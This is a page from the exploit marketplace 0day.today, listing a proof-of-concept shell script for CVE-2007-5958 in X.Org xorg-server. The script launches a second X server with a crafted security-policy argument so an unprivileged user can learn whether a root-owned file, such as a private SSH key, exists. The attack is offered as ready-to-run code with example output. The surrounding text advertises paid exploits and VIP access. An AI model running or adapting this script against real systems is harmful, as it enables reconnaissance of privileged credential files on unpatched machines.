0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
X.Org xorg-server <= 1.1.1-48.13 Probe for Files Exploit PoC
============================================================ X.Org xorg-server <= 1.1.1-48.13 Probe for Files Exploit PoC ============================================================ #!/bin/sh # Xorg file disclosure vulnerability (CVE-2007-5958) # # Lame xploit by vl4dZ :)) # # sh-3.1$ whoami # uid=1001(kecos) gid=1001(user) groups=1001(user) # sh-3.1$ ./Xorg-File-Existence-PoC.sh /root/.ssh/id_dsa # ... # *** FILE /root/.ssh/id_dsa EXIST !! *** # Vulnerable: xorg-server <= 1.1.1-48.13 X_EXEC=/usr/bin/X TMP_FILE=/tmp/X.$$ if [ "$1" = "" ]; then echo "usage: $0 <file>" exit 1 fi [ -f ${X_EXEC} ] || (echo "${X_EXEC} not found"; exit 1) echo -e "\n** Xorg file disclosure vulnerability PoC (CVE-2007-5958) **\n" echo "A second X server is going to be started, once started, type the " echo "ctrl+Alt+Backspace sequence and you'll see the result of your request." echo -en "\nType [Enter] to start: "; read LANG=c ${X_EXEC} :1 -ac -sp $1 2> ${TMP_FILE} grep "error opening security policy file" ${TMP_FILE} >/dev/null if [ $? != 0 ]; then echo "*** FILE $1 EXIST !! ***" else echo "*** FILE $1 DOES NOT EXIST !! ***" fi rm -f ${TMP_FILE} echo -e "\nCtrl-C to quit." sleep 500 # 0day.today [2024-11-16] #